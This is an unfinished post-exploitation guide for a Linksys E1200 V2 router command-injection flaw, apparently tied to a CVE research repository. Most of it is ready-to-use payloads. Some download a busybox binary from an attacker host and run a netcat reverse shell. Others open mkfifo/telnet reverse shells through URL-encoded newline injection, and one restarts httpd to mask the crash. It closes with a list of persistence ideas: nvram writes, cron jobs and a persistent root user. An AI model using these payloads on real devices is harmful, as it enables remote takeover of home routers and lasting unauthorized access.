6. Post exploitation & Persistence

WORK IN PROGRESS...

1. Gaining a shell (with additional binaries)

This section provides methods to retrieve a remote shell on the device using binaries that is not found on the native busybox shell

First, I will present the technique to use the wget binary (provided by busybox on the device) to retrieve external binaries from the attacker machine:

wget -O /tmp/<external-bin-name> http://<attacker_ip>:<listen_port>/<external-bin-name> 
chmod 755 /tmp/<external-bin-name>

The commands presented above should be used at the start of the remote-code payload to download the required binaries. Replace <external-bin-name> respectively for each methods below

The commands will be separated with the %0a character. This character represents the line feed (newline) character in URL-encoding, which is used to separate the commands (in shell)

Note that we can also use the shell operators ; , && or | too. However, it may not be as reliable, as it may be filtered by the web server

For each of the payload, we can make it more reliable by URL-encoding the whitespaces with %20

Eg. input | pipe_output -> input%20|%20pipe_output

1.1 netcat

wget -O /tmp/busybox-mipsel http://<attacker_ip>:<listen_port>/busybox-mipsel %0a chmod 755 /tmp/busybox-mipsel %0a /tmp/busybox-mipsel nc <attacker_ip> <shell_listen_port> -e /bin/sh 

1.1.1 Breakdown of the payload commands:

wget -O /tmp/busybox-mipsel http://<attacker_ip>:<listen_port>/busybox-mipsel 
chmod 755 /tmp/busybox-mipsel
/tmp/busybox-mipsel nc <attacker_ip> <shell_listen_port> -e /bin/sh

1. Use the available wget tool to retrieve the busybox-mipsel binary from the attacker machine, and save to /tmp/busybox-mipsel

2. Give execute permission to the new binary

3. Use the busybox binary to run Netcat

1.1.2 Preparations on the attacker machine:

• the busybox-mipsel binary can be found here

# run from the directory where the "busybox-mipsel" binary is stored
$ python3 -m http.server <busybox_listen_port>

# netcat listener to catch the shell
$ nc -lvp <shell_listen_port>

1.2. dropbear (ssh client)

1.3 socat

...

2. Gaining a shell (without additional binaries)

2.2 telnet

mkfifo /tmp/f %0a telnet <ATTACKER_IP> <LISTEN_PORT> 0</tmp/f | /bin/sh 1>/tmp/f 2>&1  
# OR
mkfifo /tmp/f %0a cat /tmp/f | /bin/sh 2>&1 | telnet <ATTACKER_IP> <LISTEN_PORT> > /tmp/f

2.2.1 Breakdown of the payload commands:

mkfifo /tmp/f

# 2 methods to interact with shell via named FIFO pipe and /bin/sh 
telnet <ATTACKER_IP> <LISTEN_PORT> 0</tmp/f | /bin/sh 1>/tmp/f 2>&1 # (1)
cat /tmp/f | /bin/sh 2>&1 | telnet <ATTACKER_IP> <LISTEN_PORT> > /tmp/f # (2)

1. Create a named pipe (FIFO)

2. Two methods: Utilize a series of redirections using the file descriptors and the named pipe/FIFO to interact with the shell

2.2.2 Preparations on the attacker machine:

# netcat listener to catch the shell
$ nc -lvp <shell_listen_port>

You can also refer to the following Python scripts that packages the listener and POST request in one implementation:

CVE-research/Linksys/E1200-V2/CVE-2025-60690 at main · Jarrettgohxz/CVE-researchGitHub

3. Additional improvements

The httpd web server seems to either crash (netcat, dropbear, etc.) or freeze (telnet) as a result of our payload. Thus, this causes future requests to the web server to not respond for a period of time, and will only continue responding after the device automatically restarts the httpd web server (as part of certain system watch)

We can employ a simple method to manually restart the httpd instance, by adding the following line to our shell payload commands, right before the final request back to the attacker machine:

killall httpd && httpd

• The following command simply kills the existing httpd process, and starts it again. The first killall command is necessary to ensure that the old httpd process has stopped entirely, and prevent errors from the subsequent execution of the httpd binary, such as: "bind: Address already in use", etc.

3.3.1 Example usage

1. netcat

wget -O /tmp/busybox-mipsel http://<attacker_ip>:<listen_port>/busybox-mipsel 
chmod 755 /tmp/busybox-mipsel
killall httpd && httpd
/tmp/busybox-mipsel nc <attacker_ip> <shell_listen_port> -e /bin/sh

1. telnet

mkfifo /tmp/f
killall httpd && httpd
telnet <ATTACKER_IP> <LISTEN_PORT> 0</tmp/f | /bin/sh 1>/tmp/f 2>&1

4. Persistence techniques

In this section, I will highlight techniques to gain persistence, and be able to maintain a foothold on the device across reboots/restarts. Our payload will usually run in memory. Thus, by applying a few persistence techniques, we will be able to write/update configurations on disk instead, which will persist across reboots/restarts.

...

1. nvram write

2. Cron jobs/startup scripts (that lives on disk)

3. Persistent root user

• /etc/passwd writable by root, symlink to /tmp/passwd

• Find startup script that loads a "template" into /tmp/passwd on startup?

1. Firmware flash